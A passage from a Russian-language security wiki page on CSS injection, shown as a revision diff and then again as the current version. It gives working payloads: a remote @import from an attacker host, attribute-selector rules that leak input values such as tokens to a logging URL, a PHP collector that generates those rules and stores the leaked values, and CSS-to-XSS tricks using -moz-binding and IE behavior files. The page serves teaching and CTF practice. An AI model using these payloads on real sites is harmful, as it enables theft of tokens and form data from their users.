Cssi — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
(Новая страница: «Пока пусто Заметка: добавить про чтение токенов и PRSSI»)
 
м (Добавил URL Follow)
 
(не показано 11 промежуточных версий этого же участника)
Строка 1: Строка 1:
Пока пусто
+
'''CSS Injection''' - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.
 +
 
 +
==Поиск уязвимости==
 +
 
 +
===Загрузка из JS===
 +
 
 +
HTML код страницы может редактироваться в зависимости от действий пользователя.
 +
 
 +
Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:
 +
 
 +
<syntaxhighlight lang="javascript" line="1" style="overflow-x:scroll" >document.getElementById("...").style.cssText = "color: " + location.hash.slice(1); </syntaxhighlight>
 +
 
 +
То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.
 +
 
 +
===Загрузка из backend'а===
 +
 
 +
Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.
 +
 
 +
Например:
 +
 
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" > <span style="color: <?php echo $_GET['color']; ?>"> </syntaxhighlight>
 +
 
 +
В данном случае изучение очень похоже на поиск XSS.
 +
 
 +
==Эксплуатация==
 +
 
 +
Работает не во всех браузерах.
 +
 
 +
Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):
 +
 
 +
<syntaxhighlight lang="css" line="1" style="overflow-x:scroll" >
 +
<style>
 +
@import "http://hackersite.org/exploit.css";
 +
</style>
 +
</syntaxhighlight>
 +
 
 +
Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).
 +
 
 +
===URL Follow===
 +
 
 +
Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу.
 +
 
 +
<syntaxhighlight lang="css" line="1" style="overflow-x:scroll" >
 +
{ background-image:url(<ссылка>); }
 +
</syntaxhighlight>
 +
 
 +
===Получение токенов===
 +
 
 +
Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.
 +
 
 +
 
 +
====Firefox====
 +
 
 +
В данном случае идет перебор параметра value поля input:
 +
 
 +
<syntaxhighlight lang="css" line="1" style="overflow-x:scroll" >
 +
input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
 +
input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
 +
input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
 +
...
 +
input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
 +
...
 +
input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
 +
input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
 +
input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
 +
...
 +
input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
 +
...
 +
</syntaxhighlight>
 +
 
 +
И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.
 +
 
 +
Можно перебирать по одной букве.
 +
 
 +
====Chrome====
 +
 
 +
====Автоматизация====
 +
 
 +
<syntaxhighlight lang="php" line="1" style="overflow-x:scroll" >
 +
<?php
 +
 
 +
/* Использование
 +
 
 +
http://site/cssinj.php?form=input&
 +
                      param=value&
 +
                      siteid=1337&
 +
                      alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
 +
                      word=fla
 +
 
 +
*/
 +
 
 +
$alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
 +
$word = '';
 +
$siteid = '1';
 +
 
 +
if (isset($_GET['siteid'])){
 +
$siteid = $_GET['siteid'];
 +
}
 +
 
 +
//Если атака прошла успешно
 +
if (isset($_GET['value'])){
 +
file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
 +
exit();
 +
}
 +
 
 +
 
 +
function url(){
 +
return explode("?",sprintf(
 +
"%s://%s%s",
 +
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
 +
$_SERVER['SERVER_NAME'],
 +
$_SERVER['REQUEST_URI']
 +
))[0];
 +
}
 +
 
 +
 
 +
if (isset($_GET['alph'])){
 +
$alph = $_GET['alph'];
 +
}
 +
 
 +
if (isset($_GET['word'])){
 +
$word = $_GET['word'];
 +
}
 +
 
 +
 
 +
 
 +
$alph_chars = str_split($alph);
 +
 
 +
foreach ($alph_chars as &$value) {
 +
              echo $_GET['form'] .
 +
                              '[' .
 +
                  $_GET['param'] .
 +
                            '^=' .
 +
                                $word .
 +
                          $value .
 +
          ']{ background-image:url(' .
 +
                            url() .
 +
                      '?site_id=' .
 +
                          $siteid .
 +
                        '&value=' .
 +
                urlencode($value) .
 +
                "); }\n";
 +
}
 +
 
 +
?>
 +
 
 +
</syntaxhighlight>
 +
 
 +
===CSS inj -> XSS===
 +
 
 +
====Firefox====
 +
 
 +
[https://developer.mozilla.org/en-US/docs/Web/CSS/-moz-binding Официальная страница Firefox]
 +
 
 +
[http://help.dottoro.com/lcxlpaqh.php Пример]
 +
 
 +
В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.
 +
 
 +
Пример:
 +
 
 +
Файл test.html:
 +
<syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" >
 +
<html>
 +
<head>
 +
    <style>
 +
        #bindingTest {
 +
            -moz-binding : url("somexbl.xml#alert-it");
 +
        }
 +
    </style>
 +
</head>
 +
<body>
 +
    Move your mouse over <b id="bindingTest">this text</b>.
 +
</body>
 +
</head>
 +
</html>
 +
</syntaxhighlight>
 +
 
 +
Файл somexbl.xml:
 +
<syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" >
 +
<?xml version="1.0" encoding="utf-8"?>
 +
<bindings xmlns="http://www.mozilla.org/xbl">
 +
    <binding id="alert-it">
 +
        <content>
 +
            <children />
 +
        </content>
 +
        <handlers>
 +
            <handler event="mouseover" action="alert('XSS');"/>
 +
        </handlers>
 +
    </binding>
 +
</bindings>
 +
</syntaxhighlight>
 +
 
 +
====Chrome====
 +
 
 +
 
 +
====Internet Explorer====
 +
 
 +
Файл test.html:
 +
<syntaxhighlight lang="html4strict" line="1" style="overflow-x:scroll" >
 +
<html>
 +
<head>
 +
    <style>
 +
        #Test {
 +
            behavior:url(script.htc);
 +
        }
 +
    </style>
 +
</head>
 +
<body>
 +
    Move your mouse over <b id="Test">this text</b>.
 +
</body>
 +
</head>
 +
</html>
 +
</syntaxhighlight>
 +
 
 +
Файл script.htc:
 +
<syntaxhighlight lang="xml" line="1" style="overflow-x:scroll" >
 +
<PUBLIC:COMPONENT TAGNAME="xss">
 +
  <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
 +
</PUBLIC:COMPONENT>
 +
<SCRIPT>
 +
  function main()
 +
  {
 +
    alert("HTC script executed.");
 +
  }
 +
</SCRIPT>
 +
</syntaxhighlight>
 +
 
 +
==Примеры==
 +
 
 +
[https://tsublogs.wordpress.com/2016/06/25/whitehat-contest-11-ultimate-design-tool-web100/ WhiteHat Contest 11 Ultimate Design Tool – web100]
 +
 
 +
[https://lud1161.wordpress.com/2018/06/25/cat-chat-google-ctf-2018/ Cat Chat – Google CTF 2018]
 +
 
 +
==Полезные ссылки==
 +
 
 +
[https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005) OWASP]
 +
 
 +
[https://raz0r.name/articles/css-attacks/ raz0r post]
  
 
Заметка: добавить про чтение токенов и PRSSI
 
Заметка: добавить про чтение токенов и PRSSI

Текущая версия на 13:56, 30 июня 2018

CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.

Поиск уязвимости

Загрузка из JS

HTML код страницы может редактироваться в зависимости от действий пользователя.

Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:

document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);

То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.

Загрузка из backend'а

Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.

Например:

 <span style="color: <?php echo $_GET['color']; ?>">

В данном случае изучение очень похоже на поиск XSS.

Эксплуатация

Работает не во всех браузерах.

Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):

<style>
@import "http://hackersite.org/exploit.css"; 
</style>

Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).

URL Follow

Заставить браузер жертвы отправить GET запрос на нужный URL не перезагружая страницу.

{ background-image:url(<ссылка>); }

Получение токенов

Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.


Firefox

В данном случае идет перебор параметра value поля input:

input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
...
input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
...
input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
input[value^=aa]{ background-image:url(http://itsecwiki.org/log?z); }
input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
...
input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
...

И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.

Можно перебирать по одной букве.

Chrome

Автоматизация

<?php

/* Использование

http://site/cssinj.php?form=input&
                      param=value&
                      siteid=1337&
                      alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
                      word=fla

*/

$alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
$word = '';
$siteid = '1';

if (isset($_GET['siteid'])){
	$siteid = $_GET['siteid'];
}

//Если атака прошла успешно
if (isset($_GET['value'])){
	file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
	exit();
}


function url(){
		return explode("?",sprintf(
			"%s://%s%s",
			isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
			$_SERVER['SERVER_NAME'],
			$_SERVER['REQUEST_URI']
		))[0];
}


if (isset($_GET['alph'])){
	$alph = $_GET['alph'];
}

if (isset($_GET['word'])){
	$word = $_GET['word'];
}



$alph_chars = str_split($alph);

foreach ($alph_chars as &$value) {
	               echo $_GET['form'] . 
	                              '[' . 
	                   $_GET['param'] . 
	                             '^=' . 
                                $word .
	                           $value . 
           ']{ background-image:url(' . 
	                            url() . 
	                      '?site_id=' . 
	                          $siteid . 
	                        '&value=' . 
	                urlencode($value) . 
	                "); }\n";
}

?>

CSS inj -> XSS

Firefox

Официальная страница Firefox

Пример

В старых версиях Firefox возможно запускать JS код с помощью атрибута -moz-binding.

Пример:

Файл test.html:

<html>
<head>
    <style>
        #bindingTest {
            -moz-binding : url("somexbl.xml#alert-it");
        }
    </style>
</head>
<body>
    Move your mouse over <b id="bindingTest">this text</b>.
</body>
</head>
</html>

Файл somexbl.xml:

<?xml version="1.0" encoding="utf-8"?>
<bindings xmlns="http://www.mozilla.org/xbl">
    <binding id="alert-it">
        <content>
            <children />
        </content>
        <handlers>
            <handler event="mouseover" action="alert('XSS');"/>
        </handlers>
    </binding>
</bindings>

Chrome

Internet Explorer

Файл test.html:

<html>
<head>
    <style>
        #Test {
            behavior:url(script.htc);
        }
    </style>
</head>
<body>
    Move your mouse over <b id="Test">this text</b>.
</body>
</head>
</html>

Файл script.htc:

<PUBLIC:COMPONENT TAGNAME="xss">
   <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/>
</PUBLIC:COMPONENT>
<SCRIPT>
   function main() 
   {
     alert("HTC script executed.");
   }
</SCRIPT>

Примеры

WhiteHat Contest 11 Ultimate Design Tool – web100

Cat Chat – Google CTF 2018

Полезные ссылки

OWASP

raz0r post

Заметка: добавить про чтение токенов и PRSSI